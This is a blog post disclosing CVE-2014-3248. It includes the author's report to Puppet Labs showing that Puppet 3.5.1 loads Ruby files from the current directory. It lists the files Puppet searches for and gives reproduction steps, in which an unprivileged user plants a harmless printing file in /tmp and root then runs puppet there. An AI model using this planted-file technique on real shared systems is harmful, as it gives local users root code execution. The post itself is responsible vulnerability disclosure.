CVE-2014-3248 – A little problem with Puppet

A couple of weeks ago I found CVE-2014-3248.  I reported it to Puppet Labs via their security reporting process, which was  enjoyable.  The Puppet Labs report is a bit light on details, so below I have published the E-Mail I sent them, which has more details and steps to reproduce.  I was mildly entertained by the problem because of the possibility of being owned by running “puppet docs” in the wrong directory.  Also, I am not sure how much social engineering is really required.  I can imagine there are a lot of places that run puppet out of /tmp or other less privileged directories.

 

Hi,

It looks like puppet does not use the full path to load several ruby files, that is, it loads files with a "./" in front. The easiest way to find these are "strace -e open puppet". I am not sure to what extent these problems are associated with puppet or the ruby gems that it loads. If root runs puppet in a directory where an unprivileged user can create files and directories, the unprivileged user can run arbitrary ruby code as root. Which is bad.

Some of the files puppet looks locally for (This list might not be complete, and I did not test them all.):
./rubygems/defaults/operating_system.rb
./Win32API.rb
./Win32API.so
./safe_yaml.rb
./safe_yaml/deep.rb
./safe_yaml/deep.so
./puppet/confine/operatingsystem.rb
./puppet/confine/operatingsystem.so
./puppet/confine/osfamily.rb
./puppet/confine/osfamily.so

Below, I took a relatively vanilla install and reproduced the problem.
Steps:
1. Create VM
2. Install yum repos
3. Install puppet
4. As unprivileged user, create file /tmp/puppet/confine/operatingsystem.rb
5. The root user does 'cd /tmp'
6. The root user runs puppet and evil ruby code is executed

{14-05-05 14:16}:~ drowe% mkdir puppet_security
{14-05-05 14:16}:~ drowe% cd puppet_security
{14-05-05 14:17}:~/puppet_security drowe% vagrant init chef/centos-6.5
/Applications/Vagrant/bin/../embedded/gems/gems/vagrant-1.5.4/lib/vagrant/pre-rubygems.rb:30: warning: Insecure world writable dir /usr/local in PATH, mode 040777
/Applications/Vagrant/embedded/gems/gems/bundler-1.5.3/lib/bundler/runtime.rb:220: warning: Insecure world writable dir /usr/local in PATH, mode 040777
Vagrant is upgrading some internal state for the latest version.
Please do not quit Vagrant at this time. While upgrading, Vagrant
will need to copy all your boxes, so it will use a considerable
amount of disk space. After it is done upgrading, the temporary disk
space will be freed.

Press ctrl-c now to exit if you want to remove some boxes or free
up some disk space.

Press any other key to continue.
A `Vagrantfile` has been placed in this directory. You are now
ready to `vagrant up` your first virtual environment! Please read
the comments in the Vagrantfile as well as documentation on
`vagrantup.com` for more information on using Vagrant.
{14-05-05 14:18}[[email protected]]ausmac748268:~/puppet_security drowe% vagrant up
/Applications/Vagrant/bin/../embedded/gems/gems/vagrant-1.5.4/lib/vagrant/pre-rubygems.rb:30: warning: Insecure world writable dir /usr/local in PATH, mode 040777
/Applications/Vagrant/embedded/gems/gems/bundler-1.5.3/lib/bundler/runtime.rb:220: warning: Insecure world writable dir /usr/local in PATH, mode 040777
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Box 'chef/centos-6.5' could not be found. Attempting to find and install...
default: Box Provider: virtualbox
default: Box Version: >= 0
==> default: Loading metadata for box 'chef/centos-6.5'
default: URL: https://vagrantcloud.com/chef/centos-6.5
==> default: Adding box 'chef/centos-6.5' (v1.0.0) for provider: virtualbox
default: Downloading: https://vagrantcloud.com/chef/centos-6.5/version/1/provider/virtualbox.box
==> default: Successfully added box 'chef/centos-6.5' (v1.0.0) for 'virtualbox'!
==> default: Importing base box 'chef/centos-6.5'...
==> default: Matching MAC address for NAT networking...
==> default: Checking if box 'chef/centos-6.5' is up to date...
==> default: Setting the name of the VM: puppet_security_default_1399317828631_70344
==> default: Fixed port collision for 22 => 2222. Now on port 2201.
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
default: Adapter 1: nat
==> default: Forwarding ports...
default: 22 => 2201 (adapter 1)
==> default: Booting VM...
==> default: Waiting for machine to boot. This may take a few minutes...
default: SSH address: 127.0.0.1:2201
default: SSH username: vagrant
default: SSH auth method: private key
default: Warning: Connection timeout. Retrying...
default: Warning: Remote connection disconnect. Retrying...
==> default: Machine booted and ready!
==> default: Checking for guest additions in VM...
==> default: Mounting shared folders...
default: /vagrant => /Users/drowe/puppet_security
{14-05-05 14:24}:~/puppet_security drowe% vagrant ssh
/Applications/Vagrant/bin/../embedded/gems/gems/vagrant-1.5.4/lib/vagrant/pre-rubygems.rb:30: warning: Insecure world writable dir /usr/local in PATH, mode 040777
/Applications/Vagrant/embedded/gems/gems/bundler-1.5.3/lib/bundler/runtime.rb:220: warning: Insecure world writable dir /usr/local in PATH, mode 040777
Last login: Fri Mar 7 16:57:20 2014 from 10.0.2.2

[[email protected] ~]$ sudo rpm -ivh https://yum.puppetlabs.com/el/6/products/i386/puppetlabs-release-6-7.noarch.rpm
...
[[email protected] ~]$ sudo rpm -ivh http://ftp.osuosl.org/pub/fedora-epel/6/i386/epel-release-6-8.noarch.rpm
...
[[email protected] ~]$ sudo yum update
...
[[email protected] ~]$ yum install puppet
...

[[email protected] ~]$ cd /tmp/
[[email protected] tmp]$ mkdir -p puppet/confine/
[[email protected] tmp]$ echo "puts 'EVIL: puppet/confine/operatingsystem.rb'" > puppet/confine/operatingsystem.rb
[[email protected] tmp]$ sudo puppet apply -e 'notice("$settings::modulepath")'
Notice: Scope(Class[main]): /etc/puppet/modules:/usr/share/puppet/modules
Notice: Compiled catalog for localhost.ad.cirrus.com in environment production in 0.03 seconds
EVIL: puppet/confine/operatingsystem.rb
Notice: Finished catalog run in 0.02 seconds
[[email protected] tmp]$ sudo su -
[[email protected] ~]# whoami
root
[[email protected] ~]# puppet apply -e 'notice("$settings::modulepath")'
Notice: Scope(Class[main]): /etc/puppet/modules:/usr/share/puppet/modules
Notice: Compiled catalog for localhost.ad.cirrus.com in environment production in 0.02 seconds
Notice: Finished catalog run in 0.01 seconds
[[email protected] ~]# cd /tmp
[[email protected] tmp]# puppet apply -e 'notice("$settings::modulepath")'
Notice: Scope(Class[main]): /etc/puppet/modules:/usr/share/puppet/modules
Notice: Compiled catalog for localhost.ad.cirrus.com in environment production in 0.02 seconds
EVIL: puppet/confine/operatingsystem.rb
Notice: Finished catalog run in 0.02 seconds
[[email protected] tmp]# cat /etc/redhat-release
CentOS release 6.5 (Final)
[[email protected] tmp]# puppet -V
3.5.1
[[email protected] tmp]# puppet doc|head -n 5
EVIL: puppet/confine/operatingsystem.rb
# Type Reference

Error: Could not run: Broken pipe
[[email protected] tmp]# ls -altr
total 48
-rw-------. 1 root root 0 Mar 7 11:50 yum.log
-rwx------. 1 root root 227 Mar 7 11:53 ks-script-uH2AW7
-rwxr-xr-x. 1 root root 763 Mar 7 11:53 ks-script-uH2AW7.log
-rw-r--r--. 1 root root 20141 Mar 7 11:54 vboxguest-Module.symvers
-rw-r--r--. 1 vagrant vagrant 202 Mar 7 16:55 script.sh
drwxrwxrwt. 2 root root 4096 May 5 19:39 .ICE-unix
dr-xr-xr-x. 23 root root 4096 May 5 19:39 ..
drwxrwxr-x. 3 vagrant vagrant 4096 May 5 19:45 puppet
drwxrwxrwt. 4 root root 4096 May 5 20:13 .
[[email protected] tmp]# ls -altr puppet/confine/operatingsystem.rb
-rw-rw-r--. 1 vagrant vagrant 47 May 5 19:46 puppet/confine/operatingsystem.rb

7 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *